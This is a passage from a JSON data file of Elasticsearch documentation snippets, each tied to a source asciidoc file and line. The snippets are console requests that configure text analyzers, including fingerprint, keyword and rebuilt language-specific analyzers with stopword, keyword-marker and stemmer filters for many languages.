\"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"whitespace\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/specify-analyzer.asciidoc","line":74},"digest":"922529276f87cb9d116be2468d108466","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"type\": \"simple\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/specify-analyzer.asciidoc","line":130},"digest":"9c4ac64e73141f6cbf2fb6da0743d9b7","lang":"console","found":["ruby"],"source":"GET my-index-000001/_search\n{\n \"query\": {\n \"match\": {\n \"message\": {\n \"query\": \"Quick foxes\",\n \"analyzer\": \"stop\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/specify-analyzer.asciidoc","line":158},"digest":"b6e29a0e14b611d4aaafb3051220ea56","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"mappings\": {\n \"properties\": {\n \"title\": {\n \"type\": \"text\",\n \"analyzer\": \"whitespace\",\n \"search_analyzer\": \"simple\"\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/specify-analyzer.asciidoc","line":186},"digest":"f5e6378cc41ddf5326fe4084396c59b2","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"default\": {\n \"type\": \"simple\"\n },\n \"default_search\": {\n \"type\": \"whitespace\"\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/fingerprint-analyzer.asciidoc","line":19},"digest":"6490d89a4e43cac5e6b9bc19840d5478","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"fingerprint\",\n \"text\": \"Yes yes, Gödel said this sentence is consistent and.\"\n}"}, {"source_location":{"file":"analysis/analyzers/fingerprint-analyzer.asciidoc","line":89},"digest":"b857abedc64e367def172bd07075e5c7","lang":"console","found":["ruby"],"source":"PUT my-index-000001\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"my_fingerprint_analyzer\": {\n \"type\": \"fingerprint\",\n \"stopwords\": \"_english_\"\n }\n }\n }\n }\n}\n\nPOST my-index-000001/_analyze\n{\n \"analyzer\": \"my_fingerprint_analyzer\",\n \"text\": \"Yes yes, Gödel said this sentence is consistent and.\"\n}"}, {"source_location":{"file":"analysis/analyzers/fingerprint-analyzer.asciidoc","line":159},"digest":"ce725697f93b3eebb3a266314568565a","lang":"console","found":["ruby"],"source":"PUT /fingerprint_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"rebuilt_fingerprint\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"asciifolding\",\n \"fingerprint\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/keyword-analyzer.asciidoc","line":14},"digest":"19ee488226d357d1576e7d3ae7a4693f","lang":"console","found":["ruby"],"source":"POST _analyze\n{\n \"analyzer\": \"keyword\",\n \"text\": \"The 2 QUICK Brown-Foxes jumped over the lazy dog's bone.\"\n}"}, {"source_location":{"file":"analysis/analyzers/keyword-analyzer.asciidoc","line":71},"digest":"c1efc5cfcb3c29711bfe118f1baa28b0","lang":"console","found":["ruby"],"source":"PUT /keyword_example\n{\n \"settings\": {\n \"analysis\": {\n \"analyzer\": {\n \"rebuilt_keyword\": {\n \"tokenizer\": \"keyword\",\n \"filter\": [ <1>\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":86},"digest":"137c62a4443bdd7d5b95a15022a9dc30","lang":"console","found":["ruby"],"source":"PUT /arabic_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"arabic_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_arabic_\" <1>\n },\n \"arabic_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"مثال\"] <2>\n },\n \"arabic_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"arabic\"\n }\n },\n \"analyzer\": {\n \"rebuilt_arabic\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"decimal_digit\",\n \"arabic_stop\",\n \"arabic_normalization\",\n \"arabic_keywords\",\n \"arabic_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":136},"digest":"f7dc2fed08e57abda2c3e8a14f8eb098","lang":"console","found":["ruby"],"source":"PUT /armenian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"armenian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_armenian_\" <1>\n },\n \"armenian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"օրինակ\"] <2>\n },\n \"armenian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"armenian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_armenian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"armenian_stop\",\n \"armenian_keywords\",\n \"armenian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":184},"digest":"01f50acf7998b24969f451e922d145eb","lang":"console","found":["ruby"],"source":"PUT /basque_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"basque_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_basque_\" <1>\n },\n \"basque_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"Adibidez\"] <2>\n },\n \"basque_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"basque\"\n }\n },\n \"analyzer\": {\n \"rebuilt_basque\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"basque_stop\",\n \"basque_keywords\",\n \"basque_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":232},"digest":"496d35c89dc991a1509f7e8fb93ade45","lang":"console","found":["ruby"],"source":"PUT /bengali_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"bengali_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_bengali_\" <1>\n },\n \"bengali_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"উদাহরণ\"] <2>\n },\n \"bengali_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"bengali\"\n }\n },\n \"analyzer\": {\n \"rebuilt_bengali\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"decimal_digit\",\n \"bengali_keywords\",\n \"indic_normalization\",\n \"bengali_normalization\",\n \"bengali_stop\",\n \"bengali_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":283},"digest":"13670d1534125831c2059eebd86d840c","lang":"console","found":["ruby"],"source":"PUT /brazilian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"brazilian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_brazilian_\" <1>\n },\n \"brazilian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"exemplo\"] <2>\n },\n \"brazilian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"brazilian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_brazilian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"brazilian_stop\",\n \"brazilian_keywords\",\n \"brazilian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":331},"digest":"d0378fe5e3aad05a2fd2e6e81213374f","lang":"console","found":["ruby"],"source":"PUT /bulgarian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"bulgarian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_bulgarian_\" <1>\n },\n \"bulgarian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"пример\"] <2>\n },\n \"bulgarian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"bulgarian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_bulgarian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"bulgarian_stop\",\n \"bulgarian_keywords\",\n \"bulgarian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":379},"digest":"7ab968a61bb0783f563dd6d29b253901","lang":"console","found":["ruby"],"source":"PUT /catalan_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"catalan_elision\": {\n \"type\": \"elision\",\n \"articles\": [ \"d\", \"l\", \"m\", \"n\", \"s\", \"t\"],\n \"articles_case\": true\n },\n \"catalan_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_catalan_\" <1>\n },\n \"catalan_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"example\"] <2>\n },\n \"catalan_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"catalan\"\n }\n },\n \"analyzer\": {\n \"rebuilt_catalan\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"catalan_elision\",\n \"lowercase\",\n \"catalan_stop\",\n \"catalan_keywords\",\n \"catalan_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":436},"digest":"d305110a8cabfbebd1e38d85559d1023","lang":"console","found":["ruby"],"source":"PUT /cjk_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"english_stop\": {\n \"type\": \"stop\",\n \"stopwords\": [ <1>\n \"a\", \"and\", \"are\", \"as\", \"at\", \"be\", \"but\", \"by\", \"for\",\n \"if\", \"in\", \"into\", \"is\", \"it\", \"no\", \"not\", \"of\", \"on\",\n \"or\", \"s\", \"such\", \"t\", \"that\", \"the\", \"their\", \"then\",\n \"there\", \"these\", \"they\", \"this\", \"to\", \"was\", \"will\",\n \"with\", \"www\"\n ]\n }\n },\n \"analyzer\": {\n \"rebuilt_cjk\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"cjk_width\",\n \"lowercase\",\n \"cjk_bigram\",\n \"english_stop\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":482},"digest":"a28111cdd9b5aaea96c779cbfbf38780","lang":"console","found":["ruby"],"source":"PUT /czech_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"czech_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_czech_\" <1>\n },\n \"czech_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"příklad\"] <2>\n },\n \"czech_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"czech\"\n }\n },\n \"analyzer\": {\n \"rebuilt_czech\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"czech_stop\",\n \"czech_keywords\",\n \"czech_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":530},"digest":"ed85ed833bec7286a0dfbe64077c5715","lang":"console","found":["ruby"],"source":"PUT /danish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"danish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_danish_\" <1>\n },\n \"danish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"eksempel\"] <2>\n },\n \"danish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"danish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_danish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"danish_stop\",\n \"danish_keywords\",\n \"danish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":578},"digest":"10d8b17e73d31dcd907de67327ed78a2","lang":"console","found":["ruby"],"source":"PUT /dutch_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"dutch_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_dutch_\" <1>\n },\n \"dutch_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"voorbeeld\"] <2>\n },\n \"dutch_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"dutch\"\n },\n \"dutch_override\": {\n \"type\": \"stemmer_override\",\n \"rules\": [\n \"fiets=>fiets\",\n \"bromfiets=>bromfiets\",\n \"ei=>eier\",\n \"kind=>kinder\"\n ]\n }\n },\n \"analyzer\": {\n \"rebuilt_dutch\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"dutch_stop\",\n \"dutch_keywords\",\n \"dutch_override\",\n \"dutch_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":636},"digest":"81c7a392efd505b686eed978fb7d9d17","lang":"console","found":["ruby"],"source":"PUT /english_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"english_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_english_\" <1>\n },\n \"english_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"example\"] <2>\n },\n \"english_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"english\"\n },\n \"english_possessive_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"possessive_english\"\n }\n },\n \"analyzer\": {\n \"rebuilt_english\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"english_possessive_stemmer\",\n \"lowercase\",\n \"english_stop\",\n \"english_keywords\",\n \"english_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":689},"digest":"2f4e28c81db47547ad39d0926babab12","lang":"console","found":["ruby"],"source":"PUT /estonian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"estonian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_estonian_\" <1>\n },\n \"estonian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"näide\"] <2>\n },\n \"estonian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"estonian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_estonian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"estonian_stop\",\n \"estonian_keywords\",\n \"estonian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":737},"digest":"85f0e5e8ab91ceab63c21dbedd9f4037","lang":"console","found":["ruby"],"source":"PUT /finnish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"finnish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_finnish_\" <1>\n },\n \"finnish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"esimerkki\"] <2>\n },\n \"finnish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"finnish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_finnish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"finnish_stop\",\n \"finnish_keywords\",\n \"finnish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":785},"digest":"f545bb95214769aca993c1632a71ad2c","lang":"console","found":["ruby"],"source":"PUT /french_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"french_elision\": {\n \"type\": \"elision\",\n \"articles_case\": true,\n \"articles\": [\n \"l\", \"m\", \"t\", \"qu\", \"n\", \"s\",\n \"j\", \"d\", \"c\", \"jusqu\", \"quoiqu\",\n \"lorsqu\", \"puisqu\"\n ]\n },\n \"french_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_french_\" <1>\n },\n \"french_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"Example\"] <2>\n },\n \"french_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_french\"\n }\n },\n \"analyzer\": {\n \"rebuilt_french\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"french_elision\",\n \"lowercase\",\n \"french_stop\",\n \"french_keywords\",\n \"french_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":843},"digest":"9606c271921cb800d5ea395b16d6ceaf","lang":"console","found":["ruby"],"source":"PUT /galician_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"galician_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_galician_\" <1>\n },\n \"galician_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"exemplo\"] <2>\n },\n \"galician_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"galician\"\n }\n },\n \"analyzer\": {\n \"rebuilt_galician\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"galician_stop\",\n \"galician_keywords\",\n \"galician_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":891},"digest":"187e8786e0a90f1f6278cf89b670de0a","lang":"console","found":["ruby"],"source":"PUT /german_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"german_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_german_\" <1>\n },\n \"german_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"Beispiel\"] <2>\n },\n \"german_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_german\"\n }\n },\n \"analyzer\": {\n \"rebuilt_german\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"german_stop\",\n \"german_keywords\",\n \"german_normalization\",\n \"german_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":940},"digest":"1f00e73c144603e97f6c14ab15fa1913","lang":"console","found":["ruby"],"source":"PUT /greek_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"greek_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_greek_\" <1>\n },\n \"greek_lowercase\": {\n \"type\": \"lowercase\",\n \"language\": \"greek\"\n },\n \"greek_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"παράδειγμα\"] <2>\n },\n \"greek_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"greek\"\n }\n },\n \"analyzer\": {\n \"rebuilt_greek\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"greek_lowercase\",\n \"greek_stop\",\n \"greek_keywords\",\n \"greek_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":992},"digest":"af00a58d9171d32f6efe52d94e51e526","lang":"console","found":["ruby"],"source":"PUT /hindi_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"hindi_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_hindi_\" <1>\n },\n \"hindi_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"उदाहरण\"] <2>\n },\n \"hindi_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"hindi\"\n }\n },\n \"analyzer\": {\n \"rebuilt_hindi\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"decimal_digit\",\n \"hindi_keywords\",\n \"indic_normalization\",\n \"hindi_normalization\",\n \"hindi_stop\",\n \"hindi_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1043},"digest":"84108653e9e03b4edacd878ec870df77","lang":"console","found":["ruby"],"source":"PUT /hungarian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"hungarian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_hungarian_\" <1>\n },\n \"hungarian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"példa\"] <2>\n },\n \"hungarian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"hungarian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_hungarian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"hungarian_stop\",\n \"hungarian_keywords\",\n \"hungarian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1092},"digest":"eb5987b58dae90c3a8a1609410be0570","lang":"console","found":["ruby"],"source":"PUT /indonesian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"indonesian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_indonesian_\" <1>\n },\n \"indonesian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"contoh\"] <2>\n },\n \"indonesian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"indonesian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_indonesian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"indonesian_stop\",\n \"indonesian_keywords\",\n \"indonesian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1140},"digest":"160f39a50847bad0be4be1529a95e4ce","lang":"console","found":["ruby"],"source":"PUT /irish_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"irish_hyphenation\": {\n \"type\": \"stop\",\n \"stopwords\": [ \"h\", \"n\", \"t\" ],\n \"ignore_case\": true\n },\n \"irish_elision\": {\n \"type\": \"elision\",\n \"articles\": [ \"d\", \"m\", \"b\" ],\n \"articles_case\": true\n },\n \"irish_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_irish_\" <1>\n },\n \"irish_lowercase\": {\n \"type\": \"lowercase\",\n \"language\": \"irish\"\n },\n \"irish_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"sampla\"] <2>\n },\n \"irish_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"irish\"\n }\n },\n \"analyzer\": {\n \"rebuilt_irish\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"irish_hyphenation\",\n \"irish_elision\",\n \"irish_lowercase\",\n \"irish_stop\",\n \"irish_keywords\",\n \"irish_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1204},"digest":"00e0c964c79fcc1876ab957da2ffce82","lang":"console","found":["ruby"],"source":"PUT /italian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"italian_elision\": {\n \"type\": \"elision\",\n \"articles\": [\n \"c\", \"l\", \"all\", \"dall\", \"dell\",\n \"nell\", \"sull\", \"coll\", \"pell\",\n \"gl\", \"agl\", \"dagl\", \"degl\", \"negl\",\n \"sugl\", \"un\", \"m\", \"t\", \"s\", \"v\", \"d\"\n ],\n \"articles_case\": true\n },\n \"italian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_italian_\" <1>\n },\n \"italian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"esempio\"] <2>\n },\n \"italian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_italian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_italian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"italian_elision\",\n \"lowercase\",\n \"italian_stop\",\n \"italian_keywords\",\n \"italian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1263},"digest":"d983c1ea730eeabac9e914656d7c9be2","lang":"console","found":["ruby"],"source":"PUT /latvian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"latvian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_latvian_\" <1>\n },\n \"latvian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"piemērs\"] <2>\n },\n \"latvian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"latvian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_latvian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"latvian_stop\",\n \"latvian_keywords\",\n \"latvian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1311},"digest":"bb067c049331cc850a77b18bdfff81b5","lang":"console","found":["ruby"],"source":"PUT /lithuanian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"lithuanian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_lithuanian_\" <1>\n },\n \"lithuanian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"pavyzdys\"] <2>\n },\n \"lithuanian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"lithuanian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_lithuanian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"lithuanian_stop\",\n \"lithuanian_keywords\",\n \"lithuanian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1359},"digest":"2731a8577ad734a732d784c5dcb1225d","lang":"console","found":["ruby"],"source":"PUT /norwegian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"norwegian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_norwegian_\" <1>\n },\n \"norwegian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"eksempel\"] <2>\n },\n \"norwegian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"norwegian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_norwegian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"norwegian_stop\",\n \"norwegian_keywords\",\n \"norwegian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1407},"digest":"d1a285aa244ec461d68f13e7078a33c0","lang":"console","found":["ruby"],"source":"PUT /persian_example\n{\n \"settings\": {\n \"analysis\": {\n \"char_filter\": {\n \"zero_width_spaces\": {\n \"type\": \"mapping\",\n \"mappings\": [ \"\\\\u200C=>\\\\u0020\"] <1>\n }\n },\n \"filter\": {\n \"persian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_persian_\" <2>\n }\n },\n \"analyzer\": {\n \"rebuilt_persian\": {\n \"tokenizer\": \"standard\",\n \"char_filter\": [ \"zero_width_spaces\" ],\n \"filter\": [\n \"lowercase\",\n \"decimal_digit\",\n \"arabic_normalization\",\n \"persian_normalization\",\n \"persian_stop\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1453},"digest":"584f502cf840134f2db5f39e2483ced1","lang":"console","found":["ruby"],"source":"PUT /portuguese_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"portuguese_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_portuguese_\" <1>\n },\n \"portuguese_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"exemplo\"] <2>\n },\n \"portuguese_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"light_portuguese\"\n }\n },\n \"analyzer\": {\n \"rebuilt_portuguese\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"portuguese_stop\",\n \"portuguese_keywords\",\n \"portuguese_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1501},"digest":"1ba7afe23a26fe9ac7856d8c5bc1059d","lang":"console","found":["ruby"],"source":"PUT /romanian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"romanian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_romanian_\" <1>\n },\n \"romanian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"exemplu\"] <2>\n },\n \"romanian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"romanian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_romanian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"romanian_stop\",\n \"romanian_keywords\",\n \"romanian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1550},"digest":"d260225cf97e068ead2a8a6bb5aefd90","lang":"console","found":["ruby"],"source":"PUT /russian_example\n{\n \"settings\": {\n \"analysis\": {\n \"filter\": {\n \"russian_stop\": {\n \"type\": \"stop\",\n \"stopwords\": \"_russian_\" <1>\n },\n \"russian_keywords\": {\n \"type\": \"keyword_marker\",\n \"keywords\": [\"пример\"] <2>\n },\n \"russian_stemmer\": {\n \"type\": \"stemmer\",\n \"language\": \"russian\"\n }\n },\n \"analyzer\": {\n \"rebuilt_russian\": {\n \"tokenizer\": \"standard\",\n \"filter\": [\n \"lowercase\",\n \"russian_stop\",\n \"russian_keywords\",\n \"russian_stemmer\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"analysis/analyzers/lang-analyzer.asciidoc","line":1598},"digest":"3afc6dacf90b42900ab571aad8a61d75","lang":"console","found":["ruby"],"source":"PUT /serbian_example\n{\n 